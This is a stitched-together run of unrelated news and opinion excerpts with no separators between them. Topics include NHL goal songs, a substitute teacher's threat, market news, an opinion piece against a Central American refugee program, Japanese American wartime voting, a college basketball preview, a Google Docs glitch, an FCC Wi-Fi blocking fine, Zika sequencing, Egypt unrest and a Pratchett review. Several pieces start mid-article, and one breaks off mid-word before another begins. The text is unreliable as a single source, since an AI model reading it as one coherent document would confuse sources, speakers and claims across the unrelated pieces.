A practical hurdle exists. Because of garbage goals and deflections, the Canucks game-ops crew ran the risk of celebrating to the wrong beat, so this fall they’ve developed a hybrid solution. They initially play a general team goal song, Locksley’s “The Whip,” then follow with the scorer’s theme.
Also, with so many call-ups and rookies, Nicholas says he’s often scrambling to nail down a track for new guys.
“They asked me, and I said, ‘I dunno. I’m just hoping to score a goal. I don’t really care,’ ” says Brock Boeser, humble as a hockey player.
Nicholas went with Prince, a nod to Boeser’s Minnesota roots, and it’s stuck.
The Canucks have a track for everybody, but they’re not the only club making noise with custom songs.
“After my first few games I had put a few in the net and it was just the goal horn. Then I started hearing this ‘Go, Johnny, Go‘ song. Pretty cool to hear that. I had no idea they were going to do that,” says Calgary’s Johnny Gaudreau. “It’s a cool thing and it always puts a smile on my face. It’s unique.”
Not exactly.
Tampa Bay’s game maestro John Franzone began playing Chuck Berry’s “Johnny B. Goode” for Tyler Johnson’s snipes. The forward-thinking Lightning crew also personalized goals for Ryan Callahan (LL Cool J’s “Going Back to Cali“), Steven Stamkos (MC Hammer’s “U Can’t Touch This“), and Martin St. Louis (“Louie, Louie,” pre-Eriksson).
“My first year here was Stammer’s first year here, and they all called the kid the Hammer. So the message from the locker room was, ‘You gotta play “Hammertime” when he scores.’ It just stuck. I guarantee you, that’ll never change,” Franzone says. “If we can come up with 18 different goal songs, that’ll be phenomenal. It’s fun because the players notice it, too.”
Divisional rivalries be damned, Pacioretty says, “I love how in Tampa you hear ‘Stammertime’ when he scores. I trained with Marty in the summer for many years, and he told me, ‘Every time when they played ‘Louie, Louie’ when I scored, it was just the coolest thing ever.”
Montreal’s captain admits he’s spent time talking about and thinking about his own celebratory soundtrack.
“It¹s cool to have something tied into your name like ‘Stammer/Hammertime’ and ‘Louie, Louie.’ If I could find me something like that, shoot me an email. I’ll tell the people at the Bell Centre.”
Maybe Clarence Carter’s “Patches“?
“It would be cool, but I think it’s a different market where teams do that. I think the Habs are more traditional.”
Uh, yeah. Probably just a little.
But teams like Tampa and Vancouver are winning us over with their sweet serenades, singular voices cutting through the conservative manner of presenting hockey games.
The Maple Leafs pressed play on Elton John’s “Bennie and the Jets” after one Ben Smith strike a couple winters back, and people still remember it.
So, yes, we’re all for the trend growing like a conga line at an ’80s wedding reception. (That’s a simile only; please don’t ask me to join an actual conga line.)
Even a purist like Crosby has his ears open.
“It’s fun. I know that some teams do it. I wouldn’t necessarily be against it,” Crosby says.
“As long as you hear the song a lot, that’s all that matters.”Copyright by WDTN - All rights reserved
WCMH Staff - NEWARK, OH (WCMH) — Denver Ham gripped his daughter Riley's shoulders tight in a protective hug outside Legend Elementary School in Newark.
"I couldn't lose another child," Ham said, choking back tears.
Riley, 7, told her family she had a "bad day" at school on Wednesday. The second-grader said a substitute teacher who called himself "Mr. S." threatened her class.
"He doesn't deal with bad behavior and said if we act up or do anything that he didn't tell us, that he would cut our heads off and bury us," Riley said.
Denver Ham, who said his oldest daughter died in 2013 in a car accident on the way to school, said he was horrified by the comments.
"With the stuff going on in the media today with the school shootings and killings, there's no room for even joking about that," Ham said.
In a statement emailed to NBC4, a spokesperson for Newark City Schools wrote:
Newark City Schools learned this evening of allegations that a guest teacher made inappropriate comments to students. The comments were alarming and should not be said by any district employee to any student. The district is now investigating the comments, and the guest teacher will not work in the Newark City School District, pending the results of the investigation. The person is not a full-time employee of Newark City Schools. We apologize to the students who heard the alarming phrase, and to their parents. We encourage students and parents to contact building principals or the district superintendent with any information related to student safety or other educational concerns.
Ham said hearing Riley's story, which he said another classmate and his mother confirmed, made him scared for the safety of his children.
"It's not what's outside the school you have to worry about, it's what's inside," Ham said. "And that's the worst part.""We keep seeing political and geopolitical tension creeping up and the market seems to be taking that in stride," Cardillo said.
North Korea tested an intercontinental ballistic missile last week which landed in the Sea of Japan, raising concerns that more parts of the U.S. could be at risk of an attack. Meanwhile in Washington, the White House saw a major shake-up after John Kelly replaced Reince Priebus as President Trump's chief of staff.
Equities reached record highs last week, but some strategists say the technical backdrop for stocks shows investors should be cautious.
"The markets are entering a historically weak seasonal period accompanied by rising investor optimism. Historically, the period from August through October has seen stocks struggle and a period when corrections have tended to occur most often," Bruce Bittles, chief investment strategist at Baird, said in a note.
Up on the earnings docket for this week are Apple, Mondelez, Yum Brands and Tesla, among others.
In other corporate news, Discovery Communications agreed to buy Scripps Networks for $14.6 billion in cash and stock, or $90 per share. Thanks to the deal, July became the best month of the year for M&A activity, according to Richard Peterson of S&P Global Market Intelligence. That said, year-on-year value has fallen 15 percent.
In economic news, pending home sales rose 1.5 percent in June. U.S. Treasury yields rose slightly, with the benchmark 10-year yield trading at 2.292 percent and the two-year yield around 1.351 percent.In a previous report, we highlighted the Obama administration's relentless efforts to welcome children (and adults) from Central America into the United States under the refugee umbrella, despite the lack of solid grounds for granting refugee status, even by United Nations standards.
New measures were announced last month to further the administration's renewed commitment to "address Central American migration challenges" and admit more people from that region. Secretary of Homeland Security Jeh Johnson said "Today, we are expanding these resettlement opportunities to additional vulnerable individuals within the region [Central America]. This will increase the number of individuals to whom we are able to provide humanitarian protection while combating human smuggling operations." (Emphasis added).
In our opinion, this recent expansion of "refugee resettlement opportunities" is not about protecting children and vulnerable populations (who, to begin with, do not qualify as refugees) but about providing, and paying for, a legal path to Central Americans who want to come to the United States and join their family members. This disguised vehicle for family reunification has grown wider as additional categories of family members (adult children, parents, and even "caregivers") are now able to participate in the program and move into the United States.
The Central American Minors (CAM) Refugee/Parole Program was established in December 2014 to, supposedly, offer minors a safe and legal alternative to a risky illegal crossing of the border. The program allowed parents 18 years of age and above who were lawfully present in the United States (on Permanent Resident Status, Temporary Protected Status, Parolee, Deferred Action, Deferred Enforced Departure, or Withdrawal of Removal) to ask for their children to come and join them. Children had to be unmarried, under the age of 21, and residing in El Salvador, Guatemala, or Honduras. They had to also meet the definition of refugee or be eligible for parole.
The program's numerous conditions (DNA tests, background checks, medical clearance, etc.) dissuaded some from applying. More importantly, the majority of the Salvadoran, Guatemalan, and Honduran immigrants present in the U.S. are here illegally, which makes them ineligible to participate. This explains why, since the CAM program started almost three years ago, the U.S. received only 9,500 applications.
The limited success of this program, however, did not discourage the Obama administration, which looked for alternative routes to bring in more people (and not just children) from Central America as "refugees."
Last winter, Secretary of State John Kerry disclosed a plan to develop new refugee processing mechanisms in addition to the existing CAM Refugee/Parole Program. Again, CAM was ostensibly designed to respond to the increasing number of unaccompanied minors crossing into the United States illegally. The new plan made public by Kerry is to benefit every person — adults included— from El Salvador, Guatemala, and Honduras who seeks asylum. Individuals are to be processed in the region with the collaboration of the United Nations High Commissioner for Refugees (UNHCR), and then flown directly to the United States. Negotiations were underway as to which country will host this processing site.
Last month, the U.S. announced it reached an agreement with Costa Rica for that purpose. The Department of Homeland Security (DHS) applauded Costa Rica's decision to "enter into a protection transfer arrangement (PTA) with the UN High Commissioner for Refugees (UNHCR) and the International Organization for Migration (IOM)".
This means that, in coordination with UNHCR and IOM, the U.S. government will pre-screen applicants from the region who will then be transferred to Costa Rica where they will undergo refugee processing before being resettled to the United States. For cases that do not require urgent transfers to Costa Rica, in-country referral programs will enable residents in this region to be considered for refugee resettlement in the United States.
The most recently announced measures go farther. The administration has expanded the CAM program to include additional categories of applicants. CAM initially allowed parents legally present in the U.S. to petition only for their children. The "qualifying child" had to be:
The child (e.g. genetic, step, or legally adopted) of the qualifying parent;
Unmarried;
Under the age of 21;
A national of El Salvador, Guatemala, or Honduras; and
Residing in his or her country of nationality.
The following additional categories of applicants, when accompanied by a "qualified child," will now be also considered under this program:
sons and daughters of a U.S.-based lawfully-present parent who are over 21 years old;
the in-country biological parent of the qualified children;
caregivers of qualified children who are also related to the U.S.-based lawfully present parents.
To recapitulate: The Central American Minors program is no longer just for minor children sponsored by their parents already in the U.S. Adult children, married children, biological parents, as well as "caregivers" (a vague term that leaves room for interpretations: part-time, full-time, multiple caregivers such as grandfather and grandmother, aunt and uncle etc.?) can now join. This opens a huge door for numerous family members (no matter how remotely related) to be brought here. The rest of the "family" will probably follow later.
Furthermore the U.S. government is expanding its welcoming arms to every individual – not just children or adults "accompanying" children – from these countries who claims persecution. It is setting up a specific refugee resettlement system to be able to process these individuals in the region (whether in their own country or in Costa Rica), then fly them directly here.
This "humanitarian call" comes with a high cost.
The total FY 2016 request for the Unaccompanied Alien Children program was $948 million in base funding, plus $19 million in contingency funds. According to a Congressional Research Service report, "Congress met the base funding request but appropriated no monies for contingency funding." This translates into a total cost of $948 million.
Moreover, the latest U.S. funding contribution of $577 million to UNHCR included $3 million in additional funds "to help UNHCR address the protection needs of refugees from the Northern Triangle countries of Central America."
But most Central Americans do not even meet the refugee status requirements by UNHCR's own appraisal. The Migration Policy Institute also concluded that "being forced to join a gang or experiencing violence do not generally qualify as a basis for refugee status or fall readily into one of the refugee definition categories." And even if some did have valid apprehensions and were to qualify for humanitarian protection, why bring them to the U.S. away from their families and cultural backgrounds? Unless their family members were already here, of course.
Setting up a specific "refugee resettlement" program for Central American individuals who generally do not qualify as refugees is beyond comprehension. Expanding the CAM program to include related adults and caregivers – when it was initially created to only get minors to their parents in the U.S. safely – underlines even more the real purpose of such measures: It's all about family reunification.
In other words, individuals from El Salvador, Guatemala, or Honduras who made it to the U.S. – illegally for the most part – can now have their extended family members flown to them with U.S. taxpayers' money. And those on the other side, who considered crossing here illegally, could be spared the trouble and given legal status. This seems to be this administration's idea of enforcing immigration laws.
One last note. The U.S. is already contributing $750 million in aid for Central America. Admitting some over there do need help, why is it the United States' responsibility and not that of their own governments? Let's rephrase that: why is the Obama administration making it its responsibility? And why is this government adamant about bringing more and more Central Americans to the U.S. to join their relatives when most of those already in the U.S. should not even be here to begin with?
What else should we expect from President Obama before he leaves office?Because getting frostbite on your naked flesh is just no fun.
Second-time Sports Illustrated Swimsuit Edition cover girl Kate Upton attempted something unprecedented for her highly-anticipated shoot this year – donning an itty bitty bikini in the itty-bitty temperatures of Antarctica.
“Keep your clothes on,” she advised any future travelers to the Earth’s southernmost continent during a conference call on Thursday. “But go! It’s the most beautiful place I’ve ever been!”
Upton’s trials and tribulations were captured on-camera as the Travel Channel teamed with Sports Illustrated for a very up-close-and-personal expedition to the seven continents featured in this year’s iconic edition, including the very first photo shoot to take place on the ice-covered Antarctic terrain.
“I definitely knew we were the first fashion magazine ever to shoot down near the South Pole which put more pressure on the situation because we didn’t know if we would go down there and it would be a blizzard the entire time, or if we were going to be able to even get one photo,” she explained. “The first day it was sunny, but when we landed it turned into a blizzard and we weren’t able to get a shot… the weather was unpredictable and the pressure was on. We came out with a cover shot!”
More On This... The lovely and talented Kate Upton
And hey, who says these glamour girls don’t have to work hard for their multi-million dollar paychecks.
“Modeling is not as easy as it seems. It takes a certain person to be able to be comfortable in front of a camera, especially being in a vulnerable state like freezing in Antarctica,” Upton insisted. “We went to places like active volcanoes where penguins have their summers. Things we never expected and it takes a certain type of person to adapt to that change… It’s not all glamorous, I’ll tell you that.”
And gracing the coveted cover for the second-year running also requires dedication all-year round.
“I have a personal trainer, David Kirsch, and I try to stay healthy and work out as much as possible. It’s important to keep a good lifestyle,” Upton said.
But fans – fear not. No matter how much Upton bumps and grinds on the cardio machines, her trademark female figure won’t be shrinking down to the model-waif look anytime soon.
“My curves are natural,” she added. “They are not going away no matter how hard a try.”
The one-hour special “Sports Illustrated: The Making of a Swimsuit ’13-7 Continents, 17 Wonders” premieres on Travel Channel Sunday, February 17 at 8pm ET/PT.
Danielle Jones-Wesley contributed to this report.Nearly 75 years ago, 120,000 Americans of Japanese descent were stripped of their rights and property under the guise of national security.
They were packed into trains and buses and moved from their West Coast homes — to temporary holding stations at fairgrounds and racing tracks, and then to permanent camps in remote parts of Idaho, California, Utah, Arizona, Wyoming, Colorado, Texas and Arkansas. Though several cases challenging the legality of this imprisonment made it all the way to the Supreme Court, only a single ruling favored the Japanese American petitioners.
It might come as a surprise, then, that they retained a key tenet of citizenship for the duration of their incarceration: the right to vote. However, between racially motivated interventions and inadequate voter education, this right was only nominally intact.
Absentee voting had existed in some form since 1652, but World War II marked the first and only time in US history that states had to make large-scale arrangements for an incarcerated civilian population to cast votes in absentia. The result was a hodgepodge of rules and regulations that effectively disenfranchised the Japanese American electorate.
One of the first questions to confound wartime voting planners was where exactly the civilian incarcerees should vote. In California, the state with the highest population of displaced Japanese Americans, the constitution stipulated that residence had to be “of choice” in order to qualify for voter registration. It was plain to all that the prison camps were anything but residences of choice. As a result, Japanese Americans were instructed to vote in the precincts where they’d lived prior to incarceration. Other states with camps, fearful of the influence these “enemy aliens” might have on local elections, enacted similar regulations.
By August 1942, the Wartime Civil Control Administration released a policy statement announcing that “qualified citizen evacue |
year when they shared the WCC regular season title with Gonzaga yet missed the NCAA tournament because of a soft non-conference schedule featuring no out-of-state games.
All five starters return including the all-conference backcourt of playmakers Emmett Naar and James Rahon and last year’s top big man Dane Pineau. There’s depth in the froncourt, shooters throughout the roster and enough talent and experience that it would be a disappointment if Saint Mary’s has to settle for a fourth straight NIT bid.
It’s a testament to Gonzaga and Saint Mary’s that BYU is the league’s consensus third-best team. The Cougars will miss do-everything Kyle Collinsworth and elite shooter Chase Fischer, yet an influx of talent gives them a chance to be better than last year’s 26-win team was.
Sophomore guard Nick Emery is fearless and gifted scorer who should emerge as the centerpiece of BYU’s typically high-octane offense. T.J. Haws is the younger, more heralded brother of former Cougars star Tyler Haws. And Eric Mika returns from his mission eager to anchor the frontcourt and improve on his 2013-14 averages of 11.8 points and 6.4 rebounds.
The questions facing BYU are whether it can find a steadying influence at point guard to replace Collinsworth and whether it can build on last season’s gradual improvement on defense. The Cougars will also need their numerous newcomers and returning missionaries to mesh quickly so they can build a NCAA tournament-caliber resume in November and December and leave themselves some margin for error in conference play.
There’s no obvious candidate to break up the Gonzaga-Saint Mary’s-BYU trio this season, but Santa Clara and Pepperdine could be the best of the rest. The Broncos need a frontcourt to emerge in support of all-conference guard Jared Brownridge and promising point guard K.J. Feagin, while the Waves will try not to take a step backward despite the graduation of three-time all-WCC standout Stacy Davis.
WEST COAST CONFERENCE PROJECTIONS
1. Gonzaga
2. Saint Mary’s
3. BYU
4. Santa Clara
5. Pepperdine
6. Portland
7. Loyola Marymount
8. San Francisco
9. Pacific
10. San Diego
FIRST-TEAM ALL-WCC
G Emmett Naar, Jr., Saint Mary’s
G Nigel Williams-Goss, Jr., Gonzaga
G Nick Emery, So., BYU
G Jared Brownridge, Sr., Santa Clara
C Przemek Karnowski, Sr., Gonzaga
PLAYER OF THE YEAR: Nigel Williams-Goss, Gonzaga
FRESHMAN OF THE YEAR: T.J. Haws, BYU
MAKING A LIST
Best shooter: Jordan Mathews (Gonzaga). Mathews averaged 13.5 points per game last season, shot 41.6 percent from behind the arc and would have been Cal’s leading returning scorer had he opted to come back. The 6-foot-3 graduate transfer instead could be a perfect fit at Gonzaga, where his outside shooting ability will punish opposing defenses who collapse on Przemek Karnowski on the block or Nigel Williams-Goss and Josh Perkins off the dribble.
Best playmaker: Emmett Naar (Saint Mary’s). Nobody in the WCC made better decisions with the ball in his hands last season than Naar, who scored 14 points per game and tallied nearly three times as many assists as turnovers. The 6-foot-1 Australia native is also one of the league’s most reliable outside shooters, enabling him to punish defenders who sag too far off him to keep him from beating them off the dribble.
Best defender: Dane Pineau (Saint Mary’s). One of the biggest reasons typically offense-oriented Saint Mary’s cracked the top 100 defensively last year was the presence of Pineau in the paint. The 6-foot-9 Aussie forward finished fourth in the WCC in rebounding, checked in second in blocked shots and played solid post defense. He also was an efficient scorer from inside eight feet at the other end of the floor.
Top NBA prospect: Zach Collins (Gonzaga). Collins, Rivals.com’s No. 21 prospect in the 2016 class, is a mobile 7-foot center with the ability to impact a game in a number of ways. The McDonald’s All-American runs the floor well, rebounds effectively and is comfortable facing up or scoring with his back to the basket. Collins will likely come off the bench behind Przemek Karnowski this season, but his size and skill give him a chance to impress NBA scouts in a couple years.
Best backcourt: Gonzaga. While Saint Mary’s returns the conference’s best backcourt from last season, Gonzaga’s new additions give the Zags a slight leg up. Washington transfer Nigel Williams-Goss provides a second playmaker and scoring point guard along with Josh Perkins, while Mathews’ outside shooting should help free up driving lanes for his teammates. Six-foot-4 junior Silas Melson makes up for a wayward jump shot with tenacious on-ball defense, while Zach Norvell is a college-ready freshman wing.
Best frontcourt: Gonzaga. The news that Przemek Karnowski has been cleared to practice is vitally important for Gonzaga. The space-eating 7-foot-1 senior, who was felled by a back injury a few games into last season, provides the Zags with a formidable low-post scorer, rebounder and rim protector. Starting alongside Karnowski will be Johnathan Williams III, a 6-foot-9 transfer who averaged 11.9 points and 7.1 rebounds his final season at Missouri. McDonald’s All-American Zach Collins and skilled French forward Killian Tillie will provide depth, as will veteran 7-footer Ryan Edwards.
Best recruiting class: Gonzaga. In addition to Gonzaga’s three marquee transfers, the Zags also landed an exceptional freshman class. The 7-foot Collins could be Mark Few’s next elite big man because of his size and shooting ability. French face-up forward Killian Tillie is one of the better international prospects in the 2016 class and Norvell bring size, toughness and shooting ability at wing. Gonzaga can afford to be patient with international big men Rui Hachimura and Jacob Larsen.
Coach on the rise: San Francisco’s Kyle Smith. While Smith is making his San Francisco debut this season, his recent track record is impressive. He won 101 games in six years at Columbia, capped by a 25-win season and a CIT championship last spring. He also is very familiar with the WCC, having spent time as an assistant at Saint Mary’s from 2001-10 and before that at San Diego.
Coach on the hot seat: None. Of the seven programs chasing Gonzaga, Saint Mary’s and BYU, four made coaching changes last spring. That leaves second-year San Diego coach Lamont Smith, third-year LMU coach Mike Dunlap and sixth-year Pepperdine coach Marty Wilson. Smith will get more time to rebuild the Toreros, Dunlap has made gradual headway with the Lions and while Wilson might have missed his best chance to crack the top three in the league last season, the Waves have finished in the upper half three straight years.
FACTS AND FIGURES
New coaches: Damon Stoudamire (Pacific), Terry Porter (Portland), Kyle Smith (San Francisco), Herb Sendek (Santa Clara)
Regular-season winner last season: Gonzaga and Saint Mary’s
Tourney winner last season: Gonzaga
League RPI rank in each of past 3 seasons: 2015-16: 14th, 2014-15: 9th, 2013-14: 9th
NCAA bids the past three seasons: 5 (Gonzaga 3, BYU 2)
– – – – – – –
Jeff Eisenberg is the editor of The Dagger on Yahoo Sports. Have a tip? Email him at daggerblog@yahoo.com or follow him on Twitter!US varsity supports Indian students post Donald Trump's travel ban
New Delhi : Against the backdrop of immigration rules proposed under US President Donald Trump, the Missouri State University in the US on Friday announced its support for Indian students and said that it wants Indian students to "stay on in the university".
"Missouri State University (MSU), a long-established university of mid-west US, announces that the university values the presence of all Indian students. MSU wants Indian students to be in the university, to be engaged in university activities, and to be successful," said a statement from the varsity.
It said that since the decision on travel ban in January, the university has been engaged in one-on-one interactions with the international students and has been guiding and supporting them.
"At Missouri State University, there are 2,500 international students, all of whom have been given thorough support in every aspect," the statement said.
Crackdown on illegal immigration was one of the prominent promises of Trump during his election campaign. He had also proposed more than once to ban Muslim immigrants into the US.
"We have welcomed Indian students for over ten years and will continue to do so with the same zeal and enthusiasm," Associate Vice-President of the university's International Studies Department Stephen Robinette said in the statement.
In January this year, Trump signed an executive order clamping a travel ban on nationals of seven countries which comprised Iraq, Iran, Syria, Yemen, Libya, Somalia and Sudan for 90 days.
Several states in the US sued the administration against the ban, resulting in a court order which temporarily restrained the imposition of the ban. The matter is still under judicial consideration.
In March, Trump issued a revised executive order, lifting the ban from Iraqi nationals and syrian refugees till indefinite period, but putting it in place for other Muslim countries.Image: Google
Google has fixed a glitch in Docs that triggered panic for some who could no longer access or share files because Google's systems had ruled they violated its terms of service.
The problem left affected Google Docs users baffled when attempting to open files only to be told by Google that the item had been "flagged as inappropriate and can no longer be shared". Others were told they couldn't access the file, while some reported deleted files.
Around 100 users reported the issue on the Google Docs help forum and for several hours were anxiously awaiting a response and fix from Google.
National Geographic reporter Rachel Bale was surprised that her draft of a story about wildlife crime would be locked for a violation of Google's terms of service.
After hearing that others experienced the same problem, she figured it was a glitch -- rather than censorship -- but still noted she felt naive for not having considered that sharing drafts with her editor over Google Docs came at the cost of "creepy" monitoring. Her story was locked for about six hours, according to her Twitter timeline.
She added that she never puts "super-sensitive stories" in Google Docs.
Bhaskar Sunkar, founder of NY-based socialist magazine Jacobin, was also locked out of an article his team were finalizing on Eastern European post-socialist parties. The original author could view it, but the document couldn't be shared because Google thought it was inappropriate.
Before the fix arrived the issue created panic for Docs users who faced urgent deadlines. One user in this scenario was told by a Docs help forum volunteer that people at Google's office who could help couldn't be reached because they were not in the office yet due to time-zone differences.
A Google Docs community manager called Julianne has since clarified on the help forum that a "code push" from the morning incorrectly flagged some Docs files as abusive. Apparently Google now has "processes in place" to prevent a repeat.
"This issue should now be resolved and you should be able to access your files," she wrote.
"For more details, this morning, we made a code push that incorrectly flagged a small percentage of Google Docs as abusive, which caused those documents to be automatically blocked. A fix is in place and all users should have full access to their docs. Protecting users from viruses, malware, and other abusive content is central to user safety. We apologize for the disruption and will put processes in place to prevent this from happening again."
Leighton Pritchard, a computational biologist affected by the glitch, had previously been promoting Google Docs for collaboration work across institutions. This incident was a "deal-breaker", he tweeted. He was also not satisfied that Google had glossed over what the code push actually did.
"With no idea what the problem was, how can we assess the credibility of 'put processes in place to prevent this from happening again?'," he wrote.
Previous and related coverage
Google Apps users in a tizzy as Docs, Drive go into a tailspin
UPDATED: Basically, the core of Google's cloud app portfolio designed for productivity became completely unproductive.
Google datacentre tussles with lightning, comes off second best
Four successive lightning strikes and a massive power outage was enough to wipe out data in Google's European Compute Engine datacentre.
Google bolsters security to prevent another Google Docs phishing attack
It's about to get really difficult to accidentally fall for a phishing attack.Columbia Riverkeeper turned the tables today on Scott Pruitt, a man accustomed to suing the U.S. Environmental Protection Agency.
In what's believed to be the first new lawsuit against Pruitt in his role as EPA administrator, the Hood River group demanded the EPA act under the Clean Water Act to protect salmon from dangerously high summertime temperatures in the Columbia and Snake rivers.
The suit, filed in federal court in Seattle, outlines a long history of the agency ignoring high temperatures in the rivers, culminating in the summer of 2015 when “roughly 250,000 adult sockeye salmon died in the Columbia and Snake rivers because warm water prevented them from successfully migrating upstream.”
The suit said the EPA itself had concluded in 2003 that dams on the rivers, which create shallow reservoirs that heat up in the summer sun, are primarily responsible for the high temperatures.
“Temperature pollution killed those fish,” Brett VandenHeuvel, the group’s executive director, said in an interview. “If had been mercury or PCB poisoning, or an oil spill, everybody would have been up in arms and there would have been immediate action. But because it’s high temperatures, it’s ignored.”
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Columbia Riverkeeper was joined in the suit by Idaho Rivers United, Snake River Waterkeeper, Pacific Coast Federation of Fishermen’s Associations and the Institute for Fisheries Resources.
As Oklahoma attorney general, Pruitt sued the EPA more than a dozen times over the Obama administration’s regulation of pollution, carbon emissions, wetlands and other issues.
Formally, the suit is calling for the EPA to issue a total maximum daily load, or TMDL, for temperature pollution in the river within a year.
The EPA embarked on doing just that in 2000, the lawsuit said, but then abandoned the process in 2003.
A TMDL would require the agency to develop a plan to deal with the high temperatures, which are being exacerbated by climate change, Columbia Riverkeeper said.
“What that plan will look like, we don’t know, but the dams are a big part of it,” VandenHeuvel said. “We don’t anticipate mainstem Columbia dam removal — nobody is talking about that. But we can change the operations of the dam where temperature is a big part of the equation, instead of being ignored.”
VandenHeuvel acknowledged that could mean less hydropower production, although he said the amount would be relatively small.
A spokesman in the EPA’s Seattle office said it's agency policy not to comment on pending litigation.
The Portland Business Journal is a KGW News partner.A Wi-Fi service provider has agreed to pay the Federal Communications Commission $750,000 for blocking personal mobile hotspots used by convention visitors and exhibitors so they could avoid paying the company's $80-per-day fee.
Smart City Holdings automatically blocked users from using their personal cell phone data plans to establish mobile Wi-Fi networks, according to a statement published Tuesday by FCC officials. After the FCC took action against Smart City Holdings, the company pledged to stop the practice and pay the $750,000 fee to settle the matter.
It's the second enforcement action by the FCC taking aim at the blocking of FCC-approved Wi-Fi connections. In October, Marriott Hotel Services reached a $600,000 agreement with the FCC to settle allegations it interfered with and disabled Wi-Fi networks established by consumers in the hotel's conference facilities in Nashville. In January, the FCC issued an enforcement advisory that stated unequivocally Wi-Fi blocking was prohibited. Taken together, the moves should put hotels, convention centers, and just about everyone else on notice that it's unlawful to block FCC-approved Wi-Fi connections.
The FCC's action against Smart City Holdings stemmed from a complaint filed in June 2014 from a company that allows people to establish hotspots as an alternative to paying Wi-Fi service fees charged by a venue. The complaining company said customers couldn't connect to its equipment at several venues where Smart City operated. In responses to FCC investigators, Smart City later revealed it "automatically transmitted deauthentication frames to prevent Wi-Fi users whose devices produced a received signal strength above a present power level at Smart City access points from establishing or maintaining a Wi-Fi network independent of Smart City's network," according to a consent decree filed in the case.
In a statement, Smart City Holdings president Mark Haley said his company in the past used equipment that prevented wireless devices from interfering with operations of exhibitors on convention floors. The activity resulted in less than one percent of all devices being deauthenticated.
"We have always acted in good faith, and we had no prior notice that the FCC considered the use of this standardized, 'available-out-of-the-box' technology to be a violation of its rules. But when we were contacted by the FCC in October 2014, we ceased using the technology in question."
Smart City Holdings charged as much as $80 per day for Wi-Fi connectivity, the FCC said.
Post updated to add comment from Smart City Holdings.About this project
A major epidemic of Zika virus (ZIKV) is ongoing in Latin America. Critically, there is evidence for an association between infection with ZIKV and both microcephaly in newborns and Guillain-Barré syndrome. Currently there is a paucity of complete genome sequences for this virus, in part due to difficulties in transporting material outside of Brazil for sequencing, hindering attempts to determine virus origins, epidemiology and any genomic basis to microcephaly.
We have recently established real-time portable genome sequencing using the Oxford Nanopore MinION device, and successfully used this to characterize Ebola virus genetic diversity in Guinea during the 2014-2015 outbreak.
We propose to extend this ground-breaking achievement to ZIKV by establishing two portable genome sequencing laboratories in Brazil. Through collaboration with the Oswaldo Cruz Foundation (FIOCRUZ) and the Instituto Evandro Chagas public health laboratory in Brazil we will sequence 750 complete genomes of ZIKV, covering a broad geographical region including historical samples, and from patients with a range of clinical presentations. These novel genomic data will provide key information on how and when ZIKV was introduced to Brazil, the pattern and determinants of spread through the country and to neighbouring localities, the extent of genetic diversity (of importance to vaccine and diagnostic design), and whether there are any associations between changes in the virus genome and the likelihood of ZIKV complications such as microcephaly.
Crucially these data will provide a surveillance framework for tracking further spread into other geographic regions. In common with our previous efforts, this effort will serve as a beacon for open science during a public health emergency.
Data will be subject to open release as it is generated.Instead of “reconciliation” after the military takeover, he said, “we’ve seen a more dangerous path taken through arbitrary arrests, a broad crackdown on Mr. Morsi’s associations and supporters, and now tragically the violence that’s taken the lives of hundreds of people and wounded thousands more.” Mr. Obama added that “our traditional cooperation cannot continue as usual when civilians are being killed in the streets and rights are being rolled back.”
Image The events in Cairo set off a violent backlash across Egypt. Credit The New York Times
Soon after the president’s speech, the State Department issued an advisory warning United States citizens living in Egypt to leave “because of the continuing political and social unrest.”
The military-appointed government in Cairo accused Mr. Obama of failing to grasp the nature of the “terrorist acts” it said Egypt is facing.
A statement issued by the office of the interim president, Adli Mansour, said Mr. Obama’s remarks “would strengthen the violent armed groups and encourage them in their methods inimical to stability and the democratic transition.”
In Europe, some officials called for a suspension of aid by the European Union, and at least one member state, Denmark, cut off support. The British and French summoned their Egyptian ambassadors to condemn the violence. In Ankara, Turkey, Prime Minister Recep Tayyip Erdogan, an ideological ally of Mr. Morsi’s, called for an early meeting of the United Nations Security Council to discuss what he called a “massacre.”
Egyptian Islamists continued to lash out across the country. Scores of them blocked a main highway circling the capital. In Alexandria, hundreds battled with opponents and the police in the streets and health officials said at least nine died. Others hurled firebombs that ignited a provincial government headquarters near the pyramids in Giza. In the latest in a string of attacks on Coptic Christian churches and businesses, at least one more church was set on fire, in Fayoum.A witch didn’t do things because they seemed a good idea at the time! That was practically cackling! You had to deal every day with people who were foolish and lazy and untruthful and downright unpleasant, and you could certainly end up thinking that the world would be considerably improved if you gave them a slap. But you didn’t because, as Miss Tick had once explained: a) it would only make the world a better place for a very short time; b) it would then make the world a slightly worse place; and c) you’re not supposed to be as stupid as they are.
The Tiffany Aching novels have been an unexpected delight. Not for any idiotic snobbery about grown-ups reading YA fiction, as one of the Discworld’s endearing strengths is that of a deeply accessible series. I love how it is open and can be loved by anyone – comedy fans, fantasy fans, satire fans or, dare I say it, people who like those three genres and more. However, I felt this meant it was somewhat unnecessary for Pratchett to write a dedicated YA series.
I’m glad my unspoken, irrelevant old opinion was never listened to. Where recent “grown-up” Discworld books like Monstrous Regiment or Thud! have lacked that lightness of touch that features in Pratchett’s best, the morality tales of the Aching novels are a throwback to those early Discworld books that danced in the light fantastic.
At the heart of Wee Free Men was a story about growing up and choosing to be responsible for your siblings, not seeing them as a threat. A Hatful of Sky was about not becoming self-absorbed as you grow older (remember how Tiffany defeats the hiver that takes her over and forces her to be selfish). Wintersmith builds on these by extolling the virtues of maturity and responsibility. And throws boys into the mix for good measure.
Tiffany is now training to be a witch with Miss Treason, whose hold over her community is powered by ‘Boffo’, literally make-up and trickery bought from a joke shop in Ankh-Morpork. Tiffany’s tutor is another wonderful supporting character. She’s both deaf and blind and terrifies all with her supposed clockwork heart. It’s Boffo of course:
“I’m the wicked ol’ witch girl. They feared me, and did what they were told! They feared joke skulls and silly stories. I chose fear. I knew they’d never love me for telling’ em the truth, so I made certain of their fear.”
Tiffany’s time with Miss Treason takes an unexpected turn when she attends the dark Morris that brings in the winter. She jumps into the round and dances with the Wintersmith, who confuses her for summer. Tiffany soon learns he will stop at nothing to track her down, and she might actually be keen on that happening.
It has been an impressive feat of writing to have Tiffany stand alongside the likes of Weatherwax or Vimes after only starring in two books but she is a wonderful creation. Proud, caring, loyal and a little bit too full of herself, Pratchett treads a thin line between mocking her and lauding her expertly, with this excellent sentence a great demonstration:
There was a lot of things to be done before Tiffany ever got married, she was very clear about that.
